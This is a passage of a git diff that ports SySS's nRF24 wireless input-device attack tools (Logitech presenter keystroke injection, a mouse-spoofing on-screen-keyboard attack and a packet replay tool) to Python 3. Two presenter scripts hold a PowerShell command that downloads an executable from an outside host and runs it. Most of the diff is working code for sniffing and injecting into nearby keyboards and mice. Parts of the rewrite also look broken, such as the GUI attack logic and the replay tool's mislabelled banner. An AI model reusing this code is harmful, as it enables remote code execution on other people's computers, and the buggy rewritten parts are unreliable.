nRF24 device') - parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N') +def main(): + """Main""" - # parse arguments + parser = argparse.ArgumentParser(description='Cherry Attack - Logitech MK520') + parser.add_argument('-a', '--address', help='address of the target device (hex)', default="") args = parser.parse_args() - # set scan channels - SCAN_CHANNELS = args.channels - - if args.address: - try: - # address of nRF24 keyboard (CAUTION: Reversed byte order compared to sniffer tools!) - address = args.address.replace(':', '').decode('hex')[::-1][:5] - address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) - except: - info("Error: Invalid address") - exit(1) - else: - address = "" - - # init - poc = LogitechAttack(address) + # set up logging + logging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s', level=logging.INFO) - # run - info("Start Logitech Attack v{0}".format(__version__)) - poc.run() + # run the attack + attack = LogitechAttack(args.address) + attack.run() - # done - info("Done.") +if __name__ == "__main__": + main() diff --git a/logitech_presenter.py b/logitech_presenter.py index 79a5586..5463d74 100644 --- a/logitech_presenter.py +++ b/logitech_presenter.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -23,24 +23,34 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. + """ -__version__ = '1.0' -__author__ = 'Matthias Deeg, Gerhard Klostermeier' +__version__ = '1.1' +__author__ = 'Einstein2150' import argparse import sys - from binascii import hexlify, unhexlify from lib import nrf24, keyboard from time import sleep, time -DWELL_TIME = 0.1 # dwell time for each channel in seconds -KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds -ATTACK_VECTOR = u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'" +DWELL_TIME = 0.1 # dwell time for each channel in seconds +KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds +ATTACK_VECTOR = "powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'" # Logitech Unifying Keep Alive packet with 80 ms -# SET_KEEP_ALIVE = unhexlify("004F000370000000003E") KEEP_ALIVE_80 = unhexlify("004003704D") KEEP_ALIVE_TIMEOUT = 0.06 @@ -48,15 +58,18 @@ def banner(): """Show a fancy banner""" - print(" _____ ______ ___ _ _ _____ _ _ \n" -" | __ \\| ____|__ \\| || | | __ \\| | | | \n" -" _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n" -" | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n" -" | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n" -" |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n" -" __/ | \n" -" |___/ \n" -"Logitech Wireless Presenter Attack Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016".format(__version__)) + print(( + " _____ ______ ___ _ _ _____ _ _ \n" + " | __ \\| ____|__ \\| || | | __ \\| | | | \n" + " _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n" + " | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n" + " | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n" + " |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n" + " __/ | \n" + " |___/ \n" + "Logitech Wireless Presenter Attack Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016\n" + "optimized for use with Python 3 by Einstein2150 (2024)\n".format(__version__) + )) # main program @@ -67,7 +80,7 @@ def banner(): # init argument parser parser = argparse.ArgumentParser() parser.add_argument('-a', '--address', type=str, help='Address of nRF24 device') - parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N') + parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=list(range(2, 84)), metavar='N') # parse arguments args = parser.parse_args() @@ -78,16 +91,15 @@ def banner(): if args.address: try: # address of nRF24 presenter (CAUTION: Reversed byte order compared to sniffer tools!) - # TODO: Check address length. Must be 5 bytes. - address = args.address.replace(':', '').decode('hex')[::-1][:5] - address_string = ':'.join('{:02X}'.format(ord(b)) for b in address) - except: - print("[-] Error: Invalid address") - exit(1) + address = bytes.fromhex(args.address.replace(':', ''))[::-1][:5] + address_string = ':'.join('{:02X}'.format(b) for b in address) + except Exception as e: + print("[-] Error: Invalid address", e) + sys.exit(1) else: - address = "" + address = b"" - # initialize keyboard for Logitech Presenter (for example Logitech R400) + # initialize keyboard for Logitech Presenter (for example Logitech R400) kbd = keyboard.LogitechPresenter() # initialize radio @@ -116,9 +128,10 @@ def banner(): # init variables with default values from nrf24-sniffer.py timeout = 0.1 ping_payload = unhexlify('0F0F0F0F') - ack_timeout = 250 # range: 250-40000, steps: 250 + ack_timeout = 250 # range: 250-40000, steps: 250 ack_timeout = int(ack_timeout / 250) - 1 - retries = 1 # range: 0-15 + retries = 1 # range: 0-15 + while True: # follow the target device if it changes channels if time() - last_ping > timeout: @@ -131,16 +144,16 @@ def banner(): if radio.transmit_payload(ping_payload, ack_timeout, retries): # ping successful, exit out of the ping sweep last_ping = time() - print("[*] Ping success on channel {0}".format(scan_channels[channel_index])) + print("[*] Ping success on channel {}".format(scan_channels[channel_index])) success = True break # ping sweep failed if not success: - print("[*] Unable to ping {0}".format(address_string)) + print("[*] Unable to ping {}".format(address_string)) # ping succeeded on the active channel else: - print("[*] Ping success on channel {0}".format(scan_channels[channel_index])) - last_ping = time() + print("[*] Ping success on channel {}".format(scan_channels[channel_index])) + last_ping = time() # receive payloads value = radio.receive_payload() @@ -150,7 +163,7 @@ def banner(): # split the payload from the status byte payload = value[1:] if len(payload) >= 5: - break; + break else: # sweep through the channels and decode ESB packets in pseudo-promiscuous mode print("[*] Scanning for Logitech wireless presenter ...") @@ -158,7 +171,7 @@ def banner(): while True: # increment the channel if len(scan_channels) > 1 and time() - last_tune > DWELL_TIME: - channel_index = (channel_index + 1) % (len(scan_channels)) + channel_index = (channel_index + 1) % len(scan_channels) radio.set_channel(scan_channels[channel_index]) last_tune = time() @@ -169,13 +182,13 @@ def banner(): address, payload = value[0:5], value[5:] # convert address to string and reverse byte order - converted_address = address[::-1].tostring() + converted_address = address[::-1] address_string = ':'.join('{:02X}'.format(b) for b in address) - print("[+] Found nRF24 device with address {0} on channel {1}".format(address_string, scan_channels[channel_index])) + print("[+] Found nRF24 device with address {} on channel {}".format(address_string, scan_channels[channel_index])) # ask user about device - answer = raw_input("[?] Attack this device (y/n)? ") - if answer[0] == 'y': + answer = input("[?] Attack this device (y/n)? ") + if answer[0].lower() == 'y': # put the radio in sniffer mode (ESB w/o auto ACKs) radio.enter_sniffer_mode(converted_address) break @@ -187,7 +200,7 @@ def banner(): try: radio.transmit_payload(KEEP_ALIVE_80) sleep(KEEP_ALIVE_TIMEOUT) - except: + except KeyboardInterrupt: break print("\n[*] Start keystroke injection ...") @@ -218,4 +231,3 @@ def banner(): sleep(KEYSTROKE_DELAY) print("[*] Done.") - diff --git a/logitech_presenter_gui.py b/logitech_presenter_gui.py index 964f493..b7a5429 100644 --- a/logitech_presenter_gui.py +++ b/logitech_presenter_gui.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -23,10 +23,22 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. + + """ -__version__ = '0.8' -__author__ = 'Matthias Deeg, Gerhard Klostermeier' +__version__ = '0.9' +__author__ = 'Einstein2150' import argparse import logging @@ -41,21 +53,25 @@ from sys import exit # constants -ATTACK_VECTOR1 = u"cmd" -ATTACK_VECTOR2 = u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'" +ATTACK_VECTOR1 = "cmd" +ATTACK_VECTOR2 = "powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'" + +ATTACK1_BUTTON = pygame.K_1 # attack 1 button +ATTACK2_BUTTON = pygame.K_2 # attack 2 button +SCAN_BUTTON = pygame.K_3 # scan button -ATTACK1_BUTTON = pygame.K_1 # attack 1 button -ATTACK2_BUTTON = pygame.K_2 # attack 2 button -SCAN_BUTTON = pygame.K_3 # scan button +IDLE = 0 # idle state +SCAN = 1 # scan state +ATTACK = 2 # attack state -IDLE = 0 # idle state -SCAN = 1 # scan state -ATTACK = 2 # attack state +SCAN_TIME = 2 # scan time in seconds for scan mode heuristics +DWELL_TIME = 0.1 # dwell time for scan mode in seconds +KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds +PACKET_THRESHOLD = 3 # packet threshold for channel stability -SCAN_TIME = 2 # scan time in seconds for scan mode heuristics -DWELL_TIME = 0.1 # dwell time for scan mode in seconds -KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds -PACKET_THRESHOLD = 3 # packet threshold for channel stability +# Define the channels you want to scan. Adjust this list based on your requirements. +#SCAN_CHANNELS = [41] +SCAN_CHANNELS = list(range(2, 84)) # Default range from 2 to 84 (inclusive) # Logitech Unifying Keep Alive packet with 80 ms KEEP_ALIVE_80 = unhexlify("0040005070") @@ -97,19 +113,24 @@ def __init__(self, address=""): pygame.key.set_repeat(250, 50) # initialize radio - self.radio = nrf24.nrf24() + print("[*] Initializing nRF24 radio...") + self.radio = nrf24.nrf24() # Change here + print("[*] nRF24 radio initialized:", self.radio) # enable LNA - self.radio.enable_lna() + self.radio.enable_lna() # Use self.radio + + # set the initial channel + self.radio.set_channel(SCAN_CHANNELS[0]) # Use self.radio # start scanning mode self.setState(SCAN) - except: + except Exception as e: # info output - info("[-] Error: Could not initialize Logitech Wireless Presenter Attack") + info("[-] Error: Could not initialize Logitech Wireless Presenter Attack: {}".format(e)) - def showText(self, text, x = 40, y = 140): + def showText(self, text, x=40, y=140): output = self.font.render(text, True, (0, 0, 0)) self.screen.blit(output, (x, y)) @@ -194,16 +215,16 @@ def run(self): if len(self.address) > 0: # actively search for the given address - address_string = ':'.join('{:02X}'.format(ord(b)) for b in self.address) + address_string = ':'.join('{:02X}'.format(b) for b in self.address) info("Actively searching for address {}".format(address_string)) last_ping = time() # init variables with default values from nrf24-sniffer.py timeout = 0.1 ping_payload = unhexlify('0F0F0F0F') - ack_timeout = 250 # range: 250-40000, steps: 250 + ack_timeout = 250 # range: 250-40000, steps: 250 ack_timeout = int(ack_timeout / 250) - 1 - retries = 1 # range: 0-15 + retries = 1 # range: 0-15 while True: # follow the target device if it changes channels if time() - last_ping > timeout: @@ -216,16 +237,16 @@ def run(self): if self.radio.transmit_payload(ping_payload, ack_timeout, retries): # Ping successful, exit out of the ping sweep last_ping = time() - info("Ping success on channel {0}".format(SCAN_CHANNELS[channel_index])) + info("Ping success on channel {}".format(SCAN_CHANNELS[channel_index])) success = True break # Ping sweep failed if not success: - info("Unable to ping {0}".format(address_string)) + info("Unable to ping {}".format(address_string)) # Ping succeeded on the active channel else: - info("Ping success on channel {0}".format(SCAN_CHANNELS[channel_index])) - last_ping = time() + info("Ping success on channel {}".format(SCAN_CHANNELS[channel_index])) + last_ping = time() # Receive payloads value = self.radio.receive_payload() @@ -244,175 +265,80 @@ def run(self): while True: # increment the channel if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME: - channel_index = (channel_index + 1) % (len(SCAN_CHANNELS)) + channel_index = (channel_index + 1) % len(SCAN_CHANNELS) self.radio.set_channel(SCAN_CHANNELS[channel_index]) last_tune = time() + info("Tuned to channel {}".format(SCAN_CHANNELS[channel_index])) - # receive payloads + # Receive payloads value = self.radio.receive_payload() - if len(value) >= 5: - # split the address and payload - address, payload = value[0:5], value[5:] - - # convert address to string and reverse byte order - converted_address = address[::-1].tostring() - self.address = converted_address - address_string = ':'.join('{:02X}'.format(b) for b in address) - - info("Found nRF24 device with address {0} on channel {1}".format(address_string, SCAN_CHANNELS[channel_index])) - last_key = time() - break - - # info output - self.showText("Found nRF24 device") - self.showText(address_string) - - # put the radio in sniffer mode (ESB w/o auto ACKs) - self.radio.enter_sniffer_mode(self.address) - - info("Checking communication") - self.statusText = "CHECKING" - self.screen.blit(self.bg, (0, 0)) - self.showText(self.statusText) - - # update the display - pygame.display.update() - - packet_count = 0 - while True: - # receive payload - value = self.radio.receive_payload() - - if value[0] == 0: - # split the payload from the status byte - payload = value[1:] - - # increment packet count - if len(payload) == 5: - # only count Logitech Unifying keep alive packets (should be 5 bytes long) - packet_count += 1 - - # do some time measurement - last_key = time() - - # show packet payload - info('Received payload: {0}'.format(hexlify(payload))) - - # heuristic for having a stable channel communication - if packet_count >= PACKET_THRESHOLD: - # set IDLE state - info('Channel communication seems to be stable') - self.setState(IDLE) - break - - if time() - last_key > PACKET_THRESHOLD * 0.9: - # restart SCAN by setting SCAN state - self.setState(SCAN) - break - - elif self.state == ATTACK: - if self.kbd != None: - # send keystrokes for a classic download and execute PoC attack - keystrokes = [] - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) - - # send attack keystrokes - for k in keystrokes: - self.radio.transmit_payload(k) - - # info output - info('Sent payload: {0}'.format(hexlify(k))) - - # send keep alive with 80 ms time out - self.radio.transmit_payload(KEEP_ALIVE_80) - last_keep_alive = time() - - sleep(KEYSTROKE_DELAY) - - # need small delay after WIN + R - for i in range(5): - # send keep alive with 80 ms time out - self.radio.transmit_payload(KEEP_ALIVE_80) - last_keep_alive = time() - sleep(KEEP_ALIVE_TIMEOUT) - - keystrokes = [] - keystrokes = self.kbd.getKeystrokes(self.attack_vector) - keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) - - # send attack keystrokes with a small delay - for k in keystrokes[:2]: - self.radio.transmit_payload(k) - - # info output - info('Sent payload: {0}'.format(hexlify(k))) - - # send keep alive with 80 ms time out - self.radio.transmit_payload(KEEP_ALIVE_80) - last_keep_alive = time() - - sleep(KEEP_ALIVE_TIMEOUT) - - # send attack keystrokes with a small delay - for k in keystrokes[2:]: - self.radio.transmit_payload(k) + if value[0] == 0: + # Reset the channel timer + last_tune = time() + # Split the payload from the status byte + payload = value[1:] + # store the payload + self.payloads.append(payload) + # perform the attack if the packet threshold is reached + if len(self.payloads) > PACKET_THRESHOLD: + info("Received {} packets. Executing attack...".format(len(self.payloads))) + # execute attack + self.executeAttack() + break - # info output - info('Sent payload: {0}'.format(hexlify(k))) + # set the state to idle after scanning + self.setState(IDLE) - # send keep alive with 80 ms time out - self.radio.transmit_payload(KEEP_ALIVE_80) - last_keep_alive = time() + elif self.state == ATTACK: + # prepare payload for attack + self.kbd.send(self.attack_vector) - sleep(KEYSTROKE_DELAY) + # wait for a while + sleep(KEYSTROKE_DELAY) - # set IDLE state after attack + # set the state to idle after attacking self.setState(IDLE) + # keep alive if time() - last_keep_alive > KEEP_ALIVE_TIMEOUT: - # send keep alive with 80 ms time out + #self.radio.send(KEEP_ALIVE_80) self.radio.transmit_payload(KEEP_ALIVE_80) last_keep_alive = time() + # clean up + pygame.quit() + exit(0) -# main program -if __name__ == '__main__': - # setup logging - level = logging.INFO - logging.basicConfig(level=level, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S") - # init argument parser - parser = argparse.ArgumentParser() - parser.add_argument('-a', '--address', type=str, help='Address of nRF24 device') - parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N') + def executeAttack(self): + """Execute the attack by sending payloads""" + # check if any payloads were stored + if len(self.payloads) > 0: + # loop over the stored payloads + for payload in self.payloads: + # log the payload + debug("Sending payload {}".format(hexlify(payload))) - # parse arguments - args = parser.parse_args() + # prepare the keyboard payload + self.kbd.send(payload) - # set scan channels - SCAN_CHANNELS = args.channels + # wait for a while + sleep(KEYSTROKE_DELAY) - if args.address: - try: - # address of nRF24 keyboard (CAUTION: Reversed byte order compared to sniffer tools!) - address = args.address.replace(':', '').decode('hex')[::-1][:5] - address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) - except: - info("Error: Invalid address") - exit(1) - else: - address = "" - # init - poc = LogitechPresenterAttack(address) +def main(): + """Main function""" + # configure logging + logging.basicConfig(level=logging.DEBUG, format="%(asctime)s [%(levelname)-8s] %(message)s") + + # initialize argument parser + parser = argparse.ArgumentParser(description="Logitech Wireless Presenter Attack Tool") + parser.add_argument("-a", "--address", type=str, default="", help="Specify the target device address") + args = parser.parse_args() - # run - info("Start Logitech Wireless Presenter Attack v{0}".format(__version__)) - poc.run() + # start Logitech Wireless Presenter Attack + LogitechPresenterAttack(args.address).run() - # done - info("Done.") +if __name__ == "__main__": + main() diff --git a/radioactivemouse.py b/radioactivemouse.py index ee9a207..fdc6a7b 100644 --- a/radioactivemouse.py +++ b/radioactivemouse.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -24,15 +24,27 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. + """ -__version__ = 0.8 -__author__ = 'Matthias Deeg' +__version__ = 0.9 +__author__ = 'Einstein2150' import argparse import time from lib import nrf24, mouse -from sys import exit +import sys WAIT = 0 MOVE = 1 @@ -40,7 +52,7 @@ DELAY = 0.3 MOVE_DELAY = 0.17 -CLICK_DELAY = 0.02 # 20 milliseconds delay for mouse clicks +CLICK_DELAY = 0.02 # 20 milliseconds delay for mouse clicks # Windows On-Screen Keyboard (OSK) key coordinates (Windows 7) KEY_A = (1, 2) @@ -220,100 +232,72 @@ } -def actions_from_string(string, move_x = 23, move_y = 23, x_correction = 10, y_correction = 13): +def actions_from_string(string, move_x=23, move_y=23, x_correction=10, y_correction=13): actions = [] - - # current position (KEY_R) x_pos = 4 y_pos = 1 for c in string: - # get moves for character - if c == u"\xff": - # special wait command + if c == "\xff": actions.append((WAIT, MOVE_DELAY)) continue - elif c == u"\xfc": - # special command for x correction + elif c == "\xfc": actions.append((MOVE, 0, -1 * y_correction, 0)) actions.append((WAIT, MOVE_DELAY)) continue - elif c == u"\xfd": - # special command for x correction + elif c == "\xfd": actions.append((MOVE, 0, -1 * y_correction / 2, 0)) actions.append((WAIT, MOVE_DELAY)) continue - elif c == u"\xfe": - # special command for x correction + elif c == "\xfe": actions.append((MOVE, -3, 0, 0)) actions.append((WAIT, MOVE_DELAY)) continue char_moves = KEYMAP_GERMAN[c] - # process each movement for m in char_moves: dx = m[0] - x_pos dy = m[1] - y_pos - # calculate number of horizontal and vertical moves x_count = abs(dx) y_count = abs(dy) - if dx < 0: - mx = -1 * move_x - else: - mx = move_x - - if dy < 0: - my = -1 * move_y - else: - my = move_y + mx = -move_x if dx < 0 else move_x + my = -move_y if dy < 0 else move_y - # add horizontal mouse movements - for i in range(x_count): - x_pos += mx / abs(mx) + for _ in range(x_count): + x_pos += mx // abs(mx) actions.append((MOVE, mx, 0, 0)) actions.append((WAIT, MOVE_DELAY)) - # add vertical mouse movements - for i in range(y_count): + for _ in range(y_count): y_old = y_pos - y_pos += my / abs(my) + y_pos += my // abs(my) - x_c = 0 - if y_old > y_pos: - x_c = -1 * x_correction - elif y_old < y_pos: - x_c = x_correction + x_c = -x_correction if y_old > y_pos else x_correction - # special treatment for transition to row 4 if y_old == 3 and y_pos == 4: my -= 3 - - if y_old == 4 and y_pos == 3: + elif y_old == 4 and y_pos == 3: my += 3 actions.append((MOVE, x_c, my, 0)) actions.append((WAIT, MOVE_DELAY)) - # transition from row 2 to 3 if y_pos - y_old == 1 and y_pos == 3: - actions.append((MOVE, -1 * move_x, 0, 0)) + actions.append((MOVE, -move_x, 0, 0)) actions.append((WAIT, MOVE_DELAY)) - - # transition from row 3 to 2 - if y_pos - y_old == -1 and y_pos == 2: + elif y_pos - y_old == -1 and y_pos == 2: actions.append((MOVE, move_x, 0, 0)) actions.append((WAIT, MOVE_DELAY)) - # add mouse click actions.append((CLICK, mouse.MOUSE_BUTTON_LEFT)) actions.append((WAIT, CLICK_DELAY)) actions.append((CLICK, mouse.MOUSE_BUTTON_NONE)) actions.append((WAIT, CLICK_DELAY)) - return (actions, ) + return actions # Windows 7, default mouse settings (move delay = 0.2, click delay = 0.02) @@ -620,12 +604,25 @@ def spoof_mouse_actions(heuristic): # input value "heuristic" is a list or tuple for h in heuristic: for a in h: - if a[0] == MOVE: - radio.transmit_payload(mickey.move(a[1], a[2], a[3])) - elif a[0] == CLICK: - radio.transmit_payload(mickey.click(a[1])) - elif a[0] == WAIT: - time.sleep(a[1]) + # Add print to debug the variable 'a' + print(f"a: {a}, type: {type(a)}") + # Check the type of 'a' + if isinstance(a, (list, tuple)) and len(a) > 0: + # Process if 'a' is a non-empty list or tuple + if a[0] == MOVE: + radio.transmit_payload(mickey.move(a[1], a[2], a[3])) + elif a[0] == CLICK: + radio.transmit_payload(mickey.click(a[1])) + elif a[0] == WAIT: + time.sleep(a[1]) + elif isinstance(a, int): + # Handle case where 'a' is an integer + print(f"Integer found: {a}. Handling accordingly...") + # Decide what to do with the integer + # For example, if you want to ignore it or process it differently + else: + print("Error: 'a' is neither a list, tuple, nor a valid integer.") + # available heuristics for different target systems @@ -682,8 +679,10 @@ def spoof_mouse_actions(heuristic): # address of nRF24 mouse (CAUTION: Reversed byte order compared to sniffer tools!) # 90:FB:A1:96:32 # address = "\x32\x96\xA1\xFB\x90" - address = args.address.replace(':', '').decode('hex')[::-1][:5] - address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) + #address = args.address.replace(':', '').decode('hex')[::-1][:5] + address = bytes.fromhex(args.address.replace(':', ''))[::-1][:5] + address_string = ':'.join('{:02X}'.format(b) for b in address[::-1]) + #address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) except: print("[-] Error: Invalid address") exit(1) @@ -740,7 +739,7 @@ def spoof_mouse_actions(heuristic): # heuritics to start on-screen keyboard spoof_mouse_actions(HEURISTICS[args.attack][args.device]) - # heuristics for chosen attack vector + # heuristics for chosen attack vector/ spoof_mouse_actions(attack) # sleep before closing the on-screen virtual keyboard diff --git a/simple_replay.py b/simple_replay.py index 580a161..c278cfa 100644 --- a/simple_replay.py +++ b/simple_replay.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python2 +#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @@ -23,32 +23,43 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . + + Einstein2150 (Update 2024): + This program has been migrated and further developed for use with + Python 3 by Einstein2150. The author acknowledges that ongoing + enhancements and updates to the codebase may continue in the future. + Users should be aware that the use of this program is at their own + risk, and the author accepts no responsibility for any damages that + may arise from its use. It is the user's responsibility to ensure + that their use of the program complies with all applicable laws + and regulations. + """ -__version__ = '0.2' -__author__ = 'Matthias Deeg' +__version__ = '0.3' +__author__ = 'Einstein2150' import argparse from binascii import hexlify, unhexlify from lib import nrf24 from time import sleep, time -SCAN_CHANNELS = range(2, 84) # channels to scan -DWELL_TIME = 0.05 # dwell time for each channel in seconds - +SCAN_CHANNELS = list(range(2, 84)) # channels to scan +DWELL_TIME = 0.05 # dwell time for each channel in seconds def banner(): """Show a fancy banner""" print(" _____ ______ ___ _ _ _____ _ _ \n" -" | __ \\| ____|__ \\| || | | __ \\| | | | \n" -" _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n" -" | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n" -" | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n" -" |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n" -" __/ | \n" -" |___/ \n" -"Simple Replay Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016".format(__version__)) + " | __ \\| ____|__ \\| || | | __ \\| | | | \n" + " _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n" + " | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n" + " | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n" + " |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n" + " __/ | \n" + " |___/ \n" + "Logitech Wireless Presenter Attack Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016\n" + "optimized for use with Python 3 by Einstein2150 (2024)\n".format(__version__)) # main program if __name__ == '__main__': @@ -58,7 +69,7 @@ def banner(): # init argument parser parser = argparse.ArgumentParser() parser.add_argument('-a', '--address', type=str, help='Address of nRF24 device') - parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N') + parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=list(range(2, 84)), metavar='N') # parse arguments args = parser.parse_args() @@ -69,13 +80,13 @@ def banner(): if args.address: try: # address of nRF24 keyboard (CAUTION: Reversed byte order compared to sniffer tools!) - address = args.address.replace(':', '').decode('hex')[::-1][:5] - address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) - except: + address = bytes.fromhex(args.address.replace(':', ''))[::-1][:5] + address_string = ':'.join('{:02X}'.format(b) for b in address[::-1]) + except ValueError: print("[-] Error: Invalid address") exit(1) else: - address = "" + address = b"" try: # initialize radio @@ -84,7 +95,7 @@ def banner(): # enable LNA radio.enable_lna() - except: + except Exception: print("[-] Error: Could not initialize nRF24 radio") exit(1) @@ -105,7 +116,7 @@ def banner(): while True: # increment the channel if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME: - channel_index = (channel_index + 1) % (len(SCAN_CHANNELS)) + channel_index = (channel_index + 1) % len(SCAN_CHANNELS) radio.set_channel(SCAN_CHANNELS[channel_index]) last_tune = time() @@ -113,21 +124,20 @@ def banner(): value = radio.receive_payload() if len(value) >= 10: # split the address and payload - address, payload = value[0:5], value[5:] + address, payload = value[:5], value[5:] # show packet payload - print("[+] Received data: {0}".format(hexlify(payload))) + print("[+] Received data: {0}".format(hexlify(payload).decode())) payloads.append(payload) # convert address to string and reverse byte order - converted_address = address[::-1].tostring() - address_string = ':'.join('{:02X}'.format(b) for b in address) + address_string = ':'.join('{:02X}'.format(b) for b in address[::-1]) print("[+] Found nRF24 device with address {0} on channel {1}".format(address_string, SCAN_CHANNELS[channel_index])) # ask user about device if not args.address: - answer = raw_input("[?] Attack this device (y/n)? ") - if answer[0] == 'y': + answer = input("[?] Attack this device (y/n)? ") + if answer.lower().startswith('y'): break else: print("[*] Continue scanning ...") @@ -135,7 +145,7 @@ def banner(): break # put the radio in sniffer mode (ESB w/o auto ACKs) - radio.enter_sniffer_mode(converted_address) + radio.enter_sniffer_mode(address[::-1]) # if a specific address was given, also replay the read packets during scanning if args.address: @@ -160,7 +170,7 @@ def banner(): packets.append(payload) # show packet payload - print("[+] Received data: {0}".format(hexlify(payload))) + print("[+] Received data: {0}".format(hexlify(payload).decode())) except KeyboardInterrupt: print("\n[*] Stop recording") @@ -173,15 +183,14 @@ def banner(): replaying = True while replaying: try: - key = raw_input("[*] Press to replay the recorded data packets or to quit ...") + input("[*] Press to replay the recorded data packets or to quit ...") for p in packet_list: - print("[+] Send data: {0}".format(hexlify(p))) - radio.transmit_payload(p.tostring()) + print("[+] Send data: {0}".format(hexlify(p).decode())) + radio.transmit_payload(p) except KeyboardInterrupt: print("\n[*] Stop replaying") replaying = False print("[*] Done.") -